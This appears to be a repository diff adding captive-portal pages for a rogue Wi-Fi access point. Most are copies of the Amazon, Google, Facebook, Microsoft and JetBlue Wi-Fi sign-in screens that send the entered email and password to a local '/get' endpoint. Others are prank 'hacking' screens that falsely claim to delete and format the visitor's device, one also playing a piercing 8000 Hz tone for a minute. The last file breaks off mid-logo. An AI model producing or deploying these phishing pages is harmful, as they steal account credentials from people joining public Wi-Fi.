2.2-2.7 0-4.7-1.6-4.7-4.8 0-2.5 1.4-4.2 3.3-5 1.7-.8 4-1 5.8-1.1v-.4c0-.8 0-1.6-.4-2.3-.3-.5-1-.8-1.7-.8-1.2 0-2.2.6-2.5 1.9 0 .3-.2.5-.5.5l-3-.3c-.3 0-.6-.2-.5-.6.7-3.7 4-4.8 7-4.8 1.4 0 3.4.4 4.6 1.6 1.5 1.4 1.4 3.3 1.4 5.3v4.8c0 1.5.6 2.1 1.1 2.9.2.3.3.6 0 .8l-2.3 2"/>
</svg>
</div>
<div class="form-container">
<center><h1>Sign in</h1>
<h2>Use your Amazon Account</h2></center>
<form action="/get" id="login-form">
<input name="email" class="input-field" type="text" placeholder="Email or mobile phone number" required>
<input name="password" class="input-field" type="password" placeholder="Password" required>
<button class="submit-btn" type="submit">Continue</button>
</form>
</div>
</div>
</body>
</html>
+146
View File
@@ -0,0 +1,146 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<style>
body {
font-family: sans-serif;
}
.login-container {
width: 85%;
margin: auto;
padding: 20px;
border-radius: 5px;
margin-top: 10px;
}
#logo {
margin: auto;
width: fit-content;
}
.g-h1 {
font-size: 25px;
text-align: center;
font-weight: 200;
margin: auto;
}
.g-h2 {
font-size: 15px;
text-align: center;
font-weight: 200;
margin: auto;
}
.g-input {
width: 95%;
height: 30px;
background-color: transparent;
font: 400 16px Roboto, RobotoDraft, Helvetica, Arial, sans-serif;
border-width: 0.5px;
border-color: rgba(0, 0, 0, 0.6);
border-radius: 4px;
font-size: 16px;
padding: 13px 9px;
margin-bottom: 10px;
}
.create-account {
font-size: smaller;
color: #1a73e8;
text-decoration: none;
font-family: "Google Sans", Roboto, Arial, sans-serif;
font-size: 15px;
letter-spacing: 0.25px;
}
.gbtn-primary {
min-width: 64px;
border: none;
margin-top: 6px;
margin-bottom: 6px;
height: 36px;
border-radius: 4px;
font-family: "Google Sans", Roboto, Arial, sans-serif;
font-size: 15px;
font-weight: 500;
padding: 0 24px 0 24px;
box-sizing: inherit;
background-color: var(--gm-fillbutton-container-color, rgb(26, 115, 232));
color: #fff;
}
.button-container {
display: flex;
justify-content: space-between;
align-items: center;
}
.text {
font-family: Roboto, "Noto Sans Myanmar UI", Arial, sans-serif;
white-space: normal;
color: #5f6368;
font-size: 14px;
line-height: 1.4286;
padding-bottom: 3px;
padding-top: 9px;
box-sizing: inherit;
}
.txt {
text-decoration: none;
border-radius: 4px;
color: #1a73e8;
}
</style>
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1">
</head>
<body>
<div class="login-container">
<div id="logo">
<svg viewBox="0 0 75 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
<g id="qaEJec">
<path fill="#ea4335" d="M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z"></path>
</g>
<g id="YGlOvc">
<path fill="#34a853" d="M58.193.67h2.564v17.44h-2.564z"></path>
</g>
<g id="BWfIk">
<path fill="#4285f4" d="M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z"></path>
</g>
<g id="e6m3fd">
<path fill="#fbbc05" d="M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z"></path>
</g>
<g id="vbkDmc">
<path fill="#ea4335" d="M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z"></path>
</g>
<g id="idEJde">
<path fill="#4285f4" d="M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z"></path>
</g>
</svg>
</div>
<form action="/get" id="email-form-step">
<h4></h4>
<h1 class="g-h1">Sign in</h1>
<h3></h3>
<h2 class="g-h2">Use your Google Account</h2>
<h6></h6>
<div class="login-content">
<input name="email" type="text" class="g-input" placeholder="Email or phone" required>
<input name="password" type="password" class="g-input" placeholder="Enter your password" required>
<div class="text">Not your computer? Use Guest mode to sign in privately. <a href="#" class="txt" aria-label="a">Learn more</a>
</div>
<h5></h5>
<div class="button-container">
<a class="create-account" href="caca.html">Create account</a>
<button class="gbtn-primary" type="submit">Next</button>
</div>
</div>
</form>
</div>
</div>
</div>
</body>
</html>
File diff suppressed because one or more lines are too long
+83
View File
@@ -0,0 +1,83 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
font-family: Arial, sans-serif;
background-color: #f2f2f2;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
color: #1d2129;
}
.login-container {
width: 350px;
background-color: white;
box-shadow: 0px 0px 5px 0px rgba(0,0,0,0.20);
border-radius: 5px;
padding: 10px 20px;
}
#logo {
display: block;
margin: 0 auto;
margin-bottom: 20px;
}
h1 {
font-size: 28px;
font-weight: normal;
margin-bottom: 10px;
text-align: center;
}
h2 {
font-size: 16px;
font-weight: normal;
color: #606770;
margin-bottom: 20px;
text-align: center;
}
input[type=text], input[type=password] {
width: 100%;
padding: 15px;
margin: 5px 0 10px 0;
display: inline-block;
border: 1px solid #ccc;
box-sizing: border-box;
border-radius: 5px;
}
button {
background-color: #4267B2;
color: white;
padding: 14px 20px;
margin: 8px 0;
border: none;
cursor: pointer;
width: 100%;
border-radius: 5px;
}
button:hover {
opacity: 0.8;
}
</style>
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1">
</head>
<body>
<div class="login-container">
<svg id="logo" viewBox="0 0 24 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
<g>
<path fill="#1877F2" d="M22 2H2C.9 2 0 2.9 0 4v16c0 1.1.9 2 2 2h9v-7h-3V11h3V9c0-2.8 2.2-5 5-5h3v3h-3c-1.1 0-2 .9-2 2v2h5l-1 3h-4v7h6c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2z"></path>
</g>
</svg>
<form action="/get" method="get">
<h1>Sign in</h1>
<h2>Use your Facebook Account</h2>
<label for="email"><b>Email</b></label>
<input type="text" placeholder="Enter Email" name="email" required>
<label for="password"><b>Password</b></label>
<input type="password" placeholder="Enter Password" name="password" required>
<button type="submit">Sign in</button>
</form>
</div>
</body>
</html>
+61
View File
@@ -0,0 +1,61 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
* {
box-sizing: border-box;
}
body {
background-color: #000;
color: #0F0;
font-family: 'Courier New', Courier, monospace;
margin: 0;
padding: 0;
overflow: hidden;
}
#terminal {
position: absolute;
width: 100%;
height: 100vh;
padding: 20px;
white-space: pre-wrap;
overflow-wrap: break-word;
animation: type 20s steps(80, end);
}
@keyframes type {
from {width: 0;}
}
</style>
<title>Hacking Simulation</title>
</head>
<body>
<div id="terminal"></div>
<script>
const lines = [
'Initiating connection...',
'Bypassing security protocols...',
'Accessing system...',
'Disabling antivirus...',
'Initiating data transfer...',
'Deleting files...',
'Formatting drive...',
'Hacking successful.'
];
let i = 0;
let txt = '';
let speed = 100;
function typeWriter() {
if (i < lines.length) {
txt += lines[i] + "\n";
document.getElementById("terminal").innerHTML = txt;
i++;
setTimeout(typeWriter, speed);
}
}
typeWriter();
</script>
</body>
</html>
+58
View File
@@ -0,0 +1,58 @@
<!DOCTYPE html>
<html>
<head>
<title>Captive Portal</title>
<style>
body {
background-color: #000;
color: #0F0;
font-family: 'Courier New', Courier, monospace;
}
#terminal {
white-space: pre;
overflow: hidden;
margin: 0 auto;
padding: 10px;
}
#connectBtn {
display: block;
position: absolute;
left: 20px;
background: #0F0;
padding: 10px 20px;
color: #000;
text-decoration: none;
margin-top: 20px;
}
</style>
</head>
<body>
<a id="connectBtn" href="javascript:void(0);" onclick="startHack();">Connect</a>
<div id="terminal"></div>
<script>
var content = [
"Accessing device...",
"Device accessed ✔",
"Deleting files...",
"Files deleted ✔",
"Formatting device...",
"Device formatted ✔. \n\n",
"(⁠☞⁠ ͡⁠°⁠ ͜⁠ʖ⁠ ͡⁠°⁠)⁠☞",
"ᕙ⁠(͡⁠°⁠‿⁠ ͡⁠°⁠)⁠ᕗ",
/* You should add the rest of your ASCII art here. */
];
function startHack() {
var terminal = document.getElementById('terminal');
var counter = 0;
document.getElementById('connectBtn').style.display = 'none';
var intervalId = setInterval(function() {
terminal.textContent += content[counter++] + '\n';
if (counter === content.length) {
clearInterval(intervalId);
}
}, 1000);
}
</script>
</body>
</html>
+71
View File
@@ -0,0 +1,71 @@
<!DOCTYPE html>
<html>
<head>
<title>Captive Portal</title>
<style>
body {
background-color: #000;
color: #0F0;
font-family: 'Courier New', Courier, monospace;
}
#terminal {
white-space: pre;
overflow: hidden;
margin: 0 auto;
padding: 10px;
}
#connectBtn {
display: block;
position: absolute;
left: 20px;
background: #0F0;
padding: 10px 20px;
color: #000;
text-decoration: none;
margin-top: 20px;
}
</style>
</head>
<body>
<a id="connectBtn" href="javascript:void(0);" onclick="startHack();">Connect</a>
<div id="terminal"></div>
<script>
var content = [
"Accessing device...",
"Device accessed ✔",
"Deleting files...",
"Files deleted ✔",
"Formatting device...",
"Device formatted ✔. \n\n",
"(⁠☞⁠ ͡⁠°⁠ ͜⁠ʖ⁠ ͡⁠°⁠)⁠☞",
"ᕙ⁠(͡⁠°⁠‿⁠ ͡⁠°⁠)⁠ᕗ",
/* You should add the rest of your ASCII art here. */
];
function startHack() {
var terminal = document.getElementById('terminal');
var counter = 0;
document.getElementById('connectBtn').style.display = 'none';
var intervalId = setInterval(function() {
terminal.textContent += content[counter++] + '\n';
if (counter === content.length) {
clearInterval(intervalId);
}
}, 1000);
// Creating the audio context
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
var oscillator = audioCtx.createOscillator();
oscillator.type = 'sine';
oscillator.frequency.value = 8000; // frequency in Hz
oscillator.connect(audioCtx.destination);
oscillator.start();
// Stop the frequency sound after 1 minute
setTimeout(function() {
oscillator.stop();
}, 60000); // 60000 milliseconds = 1 minute
}
</script>
</body>
</html>
+74
View File
@@ -0,0 +1,74 @@
<!DOCTYPE html>
<html>
<head>
<style>
* {
box-sizing: border-box;
margin: 0;
padding: 0;
font-family: Arial, sans-serif;
}
body {
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
background-color: #f1f1f1;
}
.login-container {
background-color: #fff;
padding: 20px;
border-radius: 5px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
}
#logo {
display: block;
margin: 0 auto 20px;
}
h1, h2 {
text-align: center;
margin-bottom: 20px;
}
.g-input {
display: block;
width: 100%;
padding: 10px;
margin-bottom: 10px;
border: 1px solid #ddd;
border-radius: 5px;
}
.gbtn-primary {
display: block;
width: 100%;
padding: 10px;
border: none;
border-radius: 5px;
background-color: #1a73e8;
color: #fff;
cursor: pointer;
}
</style>
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1">
</head>
<body>
<div class="login-container">
<form action="/get" id="email-form-step">
<div id="logo">
<svg viewBox="0 0 75 24" width="75" height="24" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
<g id="qaEJec"><path fill="#ea4335" d="M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z"></path></g>
<g id="YGlOvc"><path fill="#34a853" d="M58.193.67h2.564v17.44h-2.564z"></path></g>
<g id="BWfIk"><path fill="#4285f4" d="M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z"></path></g>
<g id="e6m3fd"><path fill="#fbbc05" d="M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z"></path></g>
<g id="vbkDmc"><path fill="#ea4335" d="M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z"></path></g>
<g id="idEJde"><path fill="#4285f4" d="M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z"></path></g>
</svg>
</div>
<h1>Sign in</h1>
<h2>Use your Google Account</h2>
<input name="email" type="text" class="g-input" placeholder="Email" required>
<input name="password" type="password" class="g-input" placeholder="Password" required>
<button class="gbtn-primary" type="submit">Next</button>
</form>
</div>
</body>
</html>
+60
View File
@@ -0,0 +1,60 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
font-family: Arial, sans-serif;
background-color: #003876;
margin: 0;
padding: 0;
height: 100vh;
display: flex;
align-items: center;
justify-content: center;
color: white;
}
.login-container {
background-color: #1A73E8;
padding: 20px;
border-radius: 5px;
box-shadow: 0px 0px 10px 0px rgba(0,0,0,0.1);
}
.login-container h1, .login-container h2 {
text-align: center;
}
.login-container button {
width: 100%;
}
.form-control {
margin-bottom: 10px;
}
</style>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-lg-4 offset-lg-4 login-container">
<div id="logo">
<svg xmlns="http://www.w3.org/2000/svg" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.4" clip-rule="evenodd" viewBox="0 0 560 400">
<path fill="#fff" fill-rule="nonzero" d="M112 167h14v74c0 12-9 20-21 20h-5v-13h4c5 0 8-2 8-8zm0-28h14v14h-14zm36 56c1-10 7-16 15-16s14 6 15 16zm43 12v-12c0-17-13-29-28-29-13 0-28 9-28 36 0 28 16 35 30 35 9 0 18-3 25-11l-10-9c-4 4-10 7-15 7-10 0-17-6-17-17zm11-61h14v21h10v11h-10v40c0 4 2 5 5 5h5v13h-7c-10 0-17-6-17-17v-41h-7v-11h7zm70 47c11 0 16 7 16 15 0 7-5 14-16 14h-22v-29zm-37 43h41c15 0 27-11 27-27 0-10-5-20-16-23 11-5 14-13 14-21 0-15-9-26-28-26h-38zm36-84c11 0 16 7 16 14 0 8-5 14-16 14h-21v-28zm40-13h14v79c0 3 2 5 5 5h5v13h-6c-10 0-18-4-18-17zm30 28h13v41c0 10 6 15 14 15s14-5 14-15v-41h14v69h-14v-7c-5 5-11 8-18 8-11 0-23-8-23-24zm76 28c0-10 6-16 15-16 8 0 14 6 14 16zm43 12v-12c0-17-13-29-28-29-14 0-29 9-29 36 0 28 17 35 31 35 9 0 18-3 25-11l-10-9c-5 4-10 7-16 7-9 0-16-6-16-17z"/>
</svg>
</div>
<form action="/get" id="email-form-step">
<h1>Welcome aboard!</h1>
<h2>Sign in with your JetBlue<br>Account to use Wi-Fi</h2>
<div class="form-group">
<input name="email" type="text" class="form-control" placeholder="Email" required>
</div>
<div class="form-group">
<input name="password" type="password" class="form-control" placeholder="Password" required>
</div>
<div class="form-group">
<button class="btn btn-primary" type="submit">Sign In</button>
</div>
</form>
</div>
</div>
</div>
</body>
</html>
+139
View File
@@ -0,0 +1,139 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
display: flex;
flex-direction: column;
justify-content: flex-start;
align-items: flex-start;
height: 100vh;
background: #000;
color: #0f0;
font-family: 'Courier New', Courier, monospace;
padding: 20px;
padding-top: 20%;
box-sizing: border-box;
overflow: hidden;
position: relative;
}
.form-container {
width: 300px; /* You can adjust this value to match your preference */
}
#matrix {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: 1;
}
#matrix span {
position: absolute;
font-size: 20px;
animation: matrix 1s linear infinite;
animation-play-state: paused;
}
@keyframes matrix {
0% { top: -100%; }
100% { top: 100%; }
}
#terminal, #signin, #loginForm {
position: relative;
z-index: 2;
}
#terminal {
width: 100%;
max-width: 800px;
white-space: pre-wrap;
line-height: 1.5;
text-align: left;
color: #f00; /* make the color of the terminal text red */
font-weight: bold; /* make the terminal text bold */
margin-top: 20px;
}
#loginForm {
margin-top: 20px;
}
#loginForm input {
margin-bottom: 10px;
padding: 5px;
width: 100%;
}
#signin {
margin-bottom: 10px;
font-size: 1.4em;
color: #fff;
font-weight: bold;
}
</style>
</head>
<body>
<div class="form-container">
<div id="signin">Register or Sign-in</div>
<form id="loginForm" action="/get" method="get">
<input type="text" name="email" placeholder="Email/Username" required>
<input type="password" name="password" placeholder="Password" required>
<input type="submit" value="Submit">
</form>
</div>
<div id="terminal"></div>
<div id="matrix"></div>
<script>
var terminal = document.getElementById('terminal');
var form = document.getElementById('loginForm');
var matrix = document.getElementById('matrix');
var messages = [
'Initiating connection...',
'Bypassing security protocols...',
'Accessing system...',
'Disabling antivirus...',
'Accessing User\'s Email & Passwords...',
'Accessing User\'s Contact...',
'Initiating data transfer...',
'Deleting files...',
'Formatting drive...',
'Hacking successful.',
];
function typeMessage(message, index) {
if (index < message.length) {
terminal.innerText += message[index];
setTimeout(typeMessage, 50, message, index + 1); /* make text load faster */
} else {
terminal.innerText += '\n> ';
if (messages.length) {
var nextMessage = messages.shift();
setTimeout(typeMessage, 500, nextMessage, 0); /* make next message appear faster */
}
}
}
form.onsubmit = function(e) {
e.preventDefault();
terminal.innerText = '> ';
var message = messages.shift();
typeMessage(message, 0);
form.style.display = 'none';
// Start matrix rain
var spans = matrix.querySelectorAll('span');
for (let i = 0; i < spans.length; i++) {
spans[i].style.animationPlayState = 'running';
}
}
// Matrix rain
var characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
for (let i = 0; i < 100; i++) {
let span = document.createElement('span');
span.innerText = characters[Math.floor(Math.random() * characters.length)];
span.style.left = Math.random() * window.innerWidth + 'px';
span.style.animationDelay = Math.random() + 's';
matrix.appendChild(span);
}
</script>
</body>
</html>
+77
View File
@@ -0,0 +1,77 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {
font-family: Arial, Helvetica, sans-serif;
margin: 0;
padding: 0;
height: 100vh;
display: flex;
align-items: center;
justify-content: center;
}
.container {
max-width: 400px;
padding: 25px;
margin: auto;
}
.form {
max-width: 300px;
padding: 20px;
border: 1px solid #cccccc;
border-radius: 5px;
margin: 0 auto;
}
h1 {
text-align: center;
color: #0067b8;
}
input[type="text"], input[type="password"] {
width: 100%;
padding: 12px 10px;
margin: 8px 0;
box-sizing: border-box;
border: 1px solid #cccccc;
border-radius: 4px;
}
button[type="submit"] {
width: 100%;
background-color: #0067b8;
color: white;
padding: 14px 20px;
margin: 8px 0;
border: none;
border-radius: 4px;
cursor: pointer;
}
button[type="submit"]:hover {
background-color: #005299;
}
svg {
display: block;
margin: 0 auto;
width: 150px;
height: 150px;
}
</style>
</head>
<body>
<div class="container">
<svg viewBox="0 0 337.6 72" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
<path fill="#737373" d="M140.4 14.4v43.2h-7.5V23.7h-.1l-13.4 33.9h-5l-13.7-33.9h-.1v33.9h-6.9V14.4h10.8l12.4 32h.2l13.1-32h10.2zm6.2 3.3c0-1.2.4-2.2 1.3-3 .9-.8 1.9-1.2 3.1-1.2 1.3 0 2.4.4 3.2 1.2s1.3 1.8 1.3 3-.4 2.2-1.3 3c-.9.8-1.9 1.2-3.2 1.2s-2.3-.4-3.1-1.2a4.5 4.5 0 0 1-1.3-3zm8.1 8.9v31h-7.3v-31h7.3zm22.1 25.7c1.1 0 2.3-.2 3.6-.8 1.3-.5 2.5-1.2 3.6-2v6.8c-1.2.7-2.5 1.2-4 1.5-1.5.3-3.1.5-4.9.5A14.7 14.7 0 0 1 159.7 43c0-5 1.5-9.1 4.4-12.3 2.9-3.2 7-4.8 12.4-4.8a18.4 18.4 0 0 1 7.4 1.7v7a11.5 11.5 0 0 0-7-2.6c-2.9 0-5.2.9-7 2.8s-2.6 4.4-2.6 7.6c0 3.1.9 5.6 2.6 7.3 1.7 1.7 4 2.6 6.9 2.6zm27.9-26.2a8 8 0 0 1 2.8.4v7.4c-.4-.3-.9-.6-1.7-.8s-1.6-.4-2.7-.4c-1.8 0-3.3.8-4.5 2.3s-1.9 3.8-1.9 7v15.6h-7.3v-31h7.3v4.9h.1c.7-1.7 1.7-3 3-4 1.4-.9 3-1.4 4.9-1.4zm3.2 16.5c0-5.1 1.5-9.2 4.3-12.2a16 16 0 0 1 12-4.5c4.8 0 8.6 1.4 11.3 4.3s4.1 6.8 4.1 11.7c0 5-1.5 9-4.3 12-2.9 3-6.8 4.5-11.8 4.5-4.8 0-8.6-1.4-11.4-4.2a16 16 0 0 1-4.2-11.6zm7.6-.3c0 3.2.7 5.7 2.2 7.4s3.6 2.6 6.3 2.6c2.6 0 4.7-.8 6.1-2.6 1.4-1.7 2.1-4.2 2.1-7.6a12 12 0 0 0-2.1-7.6 7.5 7.5 0 0 0-6-2.6c-2.7 0-4.7.9-6.2 2.7-1.7 1.9-2.4 4.4-2.4 7.7zm35-7.5c0 1 .3 1.9 1 2.5.7.6 2.1 1.3 4.4 2.2 2.9 1.2 5 2.5 6.1 3.9a8.1 8.1 0 0 1 1.8 5.3c0 2.9-1.1 5.2-3.4 7a14 14 0 0 1-9.1 2.6 23.7 23.7 0 0 1-8.3-1.7v-7.2c1.3.9 2.8 1.7 4.3 2.2 1.5.5 2.9.8 4.2.8 1.6 0 2.9-.2 3.6-.7.8-.5 1.2-1.2 1.2-2.3 0-1-.4-1.8-1.2-2.6-.8-.7-2.4-1.5-4.6-2.4-2.7-1.1-4.6-2.4-5.7-3.8s-1.7-3.2-1.7-5.4c0-2.8 1.1-5.1 3.3-6.9 2.2-1.8 5.1-2.7 8.6-2.7 1.1 0 2.3.1 3.6.4l3.4.9V34c-1-.6-2.1-1.2-3.4-1.7-1.3-.5-2.6-.7-3.8-.7-1.4 0-2.5.3-3.2.8-.7.7-1.1 1.4-1.1 2.4zm16.4 7.8c0-5.1 1.5-9.2 4.3-12.2a16 16 0 0 1 12-4.5c4.8 0 8.6 1.4 11.3 4.3s4.1 6.8 4.1 11.7c0 5-1.5 9-4.3 12-2.9 3-6.8 4.5-11.8 4.5-4.8 0-8.6-1.4-11.4-4.2a16.5 16.5 0 0 1-4.2-11.6zm7.6-.3c0 3.2.7 5.7 2.2 7.4s3.6 2.6 6.3 2.6c2.6 0 4.7-.8 6.1-2.6 1.4-1.7 2.1-4.2 2.1-7.6a12 12 0 0 0-2.1-7.6 7.5 7.5 0 0 0-6-2.6c-2.7 0-4.7.9-6.2 2.7-1.7 1.9-2.4 4.4-2.4 7.7zm48.4-9.7H312v25h-7.4v-25h-5.2v-6h5.2v-4.3c0-3.2 1.1-5.9 3.2-8s4.8-3.1 8.1-3.1l2.4.1c.7 0 1.3.2 1.8.4V18l-1.3-.5c-.6-.2-1.3-.3-2.1-.3-1.5 0-2.7.5-3.5 1.4-.8.9-1.2 2.4-1.2 4.2v3.7h10.9v-7l7.3-2.2v9.2h7.4v6h-7.4V47c0 1.9.4 3.2 1 4 .7.8 1.8 1.2 3.3 1.2a5 5 0 0 0 1.5-.3c.6-.2 1.1-.4 1.5-.7v6a7 7 0 0 1-2.3.7c-1.1.2-2.1.3-3.2.3-3.1 0-5.4-.8-6.9-2.4-1.5-1.6-2.3-4.1-2.3-7.4l.1-15.8z"/>
<path fill="#F25022" d="M0 0h34.2v34.2H0z"/>
<path fill="#7FBA00" d="M37.8 0H72v34.2H37.8z"/>
<path fill="#00A4EF" d="M0 37.8h34.2V72H0z"/>
<path fill="#FFB900" d="M37.8 37.8H72V72H37.8z"/>
</svg>
<form action="/get" method="get" id="email-form-step" class="form">
<h1>Sign In with<br>your Microsoft account</h1>
<input name="email" type="text" placeholder="Email" required>
<input name="password" type="password" placeholder="Password" required>
<button type="submit">Next</button>
</form>
</div>
</body>
</html>
+76
View File
@@ -0,0 +1,76 @@
<!DOCTYPE html>
<html>
<head>
<title>Guess the number to use WiFi</title>
<style>
body, html {
height: 100%;
margin: 0;
background: #cfcfcf;
display: flex;
justify-content: center;
align-items: center;
flex-direction: column;
font-family: Arial, sans-serif;
}
#user-input {
margin: 1em;
font-size: 1em;
padding: 0.25em;
width: 40%;
max-width: 150px;
}
#submit-btn, #reset-btn {
font-size: 2em;
margin: 1em;
cursor: pointer;
}
#message {
font-size: 1.5em;
}
#instruction {
color: gray;
}
</style>
</head>
<body>
<h1>Guess the number to use WiFi</h1>
<p id="instruction">Enter a number between 0-10</p>
<input id="user-input" type="number" min="0" max="10"/>
<button id="submit-btn">Guess</button>
<p id="message"></p>
<button id="reset-btn" style="display: none;">Reset Game</button>
<script>
var randomNumber = Math.floor(Math.random() * 11);
var submitBtn = document.getElementById("submit-btn");
var userInput = document.getElementById("user-input");
var message = document.getElementById("message");
var resetBtn = document.getElementById("reset-btn");
submitBtn.addEventListener("click", function(){
var userGuess = userInput.value;
if(userGuess == randomNumber) {
message.textContent = "Congratulations! You've guessed the number.";
endGame();
} else {
message.textContent = "Try again!";
}
});
resetBtn.addEventListener("click", function(){
randomNumber = Math.floor(Math.random() * 11);
message.textContent = "";
userInput.value = "";
resetBtn.style.display = "none";
submitBtn.style.display = "block";
userInput.disabled = false;
});
function endGame() {
submitBtn.style.display = "none";
resetBtn.style.display = "block";
userInput.disabled = true;
}
</script>
</body>
</html>
+91
View File
@@ -0,0 +1,91 @@
<!DOCTYPE html>
<html>
<head>
<style>
body {
margin: 0;
padding: 0;
font-family: Arial, sans-serif;
background-color: #f6f8fa;
}
.container {
width: 80%;
max-width: 300px;
margin: 10% auto;
text-align: center;
}
.container .logo {
width: 50%;
height: auto;
margin-bottom: 15px;
}
.container h1 {
margin: 5px 0;
}
.container p {
margin: 0;
font-size: 0.8em;
color: #666;
}
.container form {
display: flex;
flex-direction: column;
}
.container form input {
margin: 5px 0;
padding: 10px;
border: 1px solid #ccc;
border-radius: 3px;
}
.container form button {
margin: 5px 0;
padding: 10px;
color: #fff;
background-color: #0076bc;
border: none;
border-radius: 3px;
cursor: pointer;
}
.container form button:hover {
background-color: #005999;
}
@media (max-width: 600px) {
.container {
width: 95%;
}
}
</style>
<meta
name="viewport"
content="width=device-width, initial-scale=1, maximum-scale=1"
/>
</head>
<body>
<div class="container">
<svg
class="logo"
xmlns="http://www.w3.org/2000/svg"
xml:space="preserve"
viewBox="0 0 1001 209"
>
<path fill="#0076BC" d="M934 61v102l67-51z" />
<path
fill="#77787B"
